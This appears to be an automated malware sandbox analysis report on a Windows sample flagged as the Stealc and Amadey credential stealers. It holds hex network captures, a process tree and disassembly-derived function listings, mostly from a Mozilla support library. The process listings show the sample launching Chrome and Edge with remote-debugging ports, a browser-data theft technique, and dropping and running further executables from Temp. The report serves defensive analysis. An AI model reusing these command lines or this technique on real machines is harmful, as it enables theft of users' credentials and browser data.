80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 Data Ascii: [{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-17 00:38:41 UTC	1378	IN	Data Raw: 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:42 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:42 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:42 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 3dee0c43-f01e-0085-7caf-3688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003842Z-16547b76f7fgvq8chC1DFWhd2w000000040000000000r6g2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:42 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	19:38:09
Start date:	16/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xba0000
File size:	1'829'376 bytes
MD5 hash:	87D0A89CD6E89E8B816F7D1217369D01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2721107227.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2722740091.0000000001875000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2202530763.0000000005590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2721107227.0000000000C6C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2722740091.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:38:25
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:38:26
Start date:	16/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2188,i,13929647994171333099,11470152386843183422,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:38:35
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:38:35
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2364,i,7831822762904508803,12076089409015182220,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:38:35
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:38:36
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	19:38:39
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6764 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:38:39
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6956 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	19:38:41
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:38:41
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5432 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:39:01
Start date:	16/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEHIIJJEC.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:39:01
Start date:	16/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:39:01
Start date:	16/11/2024
Path:	C:\Users\user\DocumentsJKEHIIJJEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJKEHIIJJEC.exe"
Imagebase:	0xf80000
File size:	3'167'744 bytes
MD5 hash:	E6B92405E74B69C11B84C463CE2EB30C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2803862444.0000000000F81000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:39:09
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xca0000
File size:	3'167'744 bytes
MD5 hash:	E6B92405E74B69C11B84C463CE2EB30C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2833861204.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:39:36
Start date:	16/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7064 --field-trial-handle=2192,i,3421332899338871940,1357614912683806006,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	19:40:00
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xca0000
File size:	3'167'744 bytes
MD5 hash:	E6B92405E74B69C11B84C463CE2EB30C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3438144331.0000000000CA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	19:40:11
Start date:	16/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1006783001\a929660733.exe"
Imagebase:	0x140000
File size:	1'896'960 bytes
MD5 hash:	E2B4AD896B6B95121ABC835984B6AE8A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CAB35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3F688,00001000), ref: 6CAB35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAB35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAB35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAB363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAB369F
__aulldiv.LIBCMT ref: 6CAB36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAB3773
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAB377E
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAB37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAB37C4
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAB37CB
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAB3801
__aulldiv.LIBCMT ref: 6CAB3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAB3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAB3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAB394C

Strings

GenuntelineI, xrefs: 6CAB3639
GTC, xrefs: 6CAB3912
MOZ_TIMESTAMP_MODE, xrefs: 6CAB35DB
AuthcAMDenti, xrefs: 6CAB3946
QPC, xrefs: 6CAB38FC

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5651da93cde4b9a8cc14499a3fe937cfc9ca388d670d9ff9a7cb00bf870c5380
Instruction ID: cd91b1e74444907990cd5c2de1cffe4c407744ab3b8027bedc51ff8dbde5dd1e
Opcode Fuzzy Hash: 5651da93cde4b9a8cc14499a3fe937cfc9ca388d670d9ff9a7cb00bf870c5380
Instruction Fuzzy Hash: DFB1C271B093509FDB18DF29C95465EBBF9BB8A700F04892EE89DD3390DB30A844CB85

Function 6CACC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CACC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CACC969
GetSystemInfo.KERNEL32(?), ref: 6CACC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CACC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CACC9E2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1a4c0aa6113f6a3ff5ce9e0a6111f6b797bbdafbffe53bf25980b634c84ac019
Instruction ID: aee38c62587c56b532d8e8e67f91d8dc2e4fd111d888452f3a48b54106d735c0
Opcode Fuzzy Hash: 1a4c0aa6113f6a3ff5ce9e0a6111f6b797bbdafbffe53bf25980b634c84ac019
Instruction Fuzzy Hash: 58215131741628ABDB15AB68DC88BAE7779FF46708F50051EF90BA7B80DB305C848791

Function 6CAB3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAB3095

Part of subcall function 6CAB35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3F688,00001000), ref: 6CAB35D5
Part of subcall function 6CAB35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAB35E0
Part of subcall function 6CAB35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAB35FD
Part of subcall function 6CAB35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAB363F
Part of subcall function 6CAB35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAB369F
Part of subcall function 6CAB35A0: __aulldiv.LIBCMT ref: 6CAB36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB309F

Part of subcall function 6CAD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B85
Part of subcall function 6CAD5B50: EnterCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B90
Part of subcall function 6CAD5B50: LeaveCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5BD8
Part of subcall function 6CAD5B50: GetTickCount64.KERNEL32 ref: 6CAD5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAB30BE

Part of subcall function 6CAB30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAB3127
Part of subcall function 6CAB30F0: __aulldiv.LIBCMT ref: 6CAB3140

Part of subcall function 6CAEAB2A: __onexit.LIBCMT ref: 6CAEAB30

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 872987d516bc8613231770917a9efbcef68c1002fb11077353e64d4a45311912
Instruction ID: fa63d9e91f973e4223986257b32123bf24cd50857c1e94bb3dea7b2cb972a0cb
Opcode Fuzzy Hash: 872987d516bc8613231770917a9efbcef68c1002fb11077353e64d4a45311912
Instruction Fuzzy Hash: 77F0D612E20B8497CA20DF748A411AE7374AF6B114B10231AE88C63521FB3065DCC3D1

Non-executed Functions

Function 6CAC5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAC5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAC54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAC54BE
__Init_thread_footer.LIBCMT ref: 6CAC54DB

Part of subcall function 6CAEAB3F: EnterCriticalSection.KERNEL32(6CB3E370,?,?,6CAB3527,6CB3F6CC,?,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB49
Part of subcall function 6CAEAB3F: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB3527,6CB3F6CC,?,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEAB7C

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

GetCurrentThreadId.KERNEL32 ref: 6CAC54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAC5516
GetCurrentThreadId.KERNEL32 ref: 6CAC556A
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAC5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAC5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAC5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAC55E6
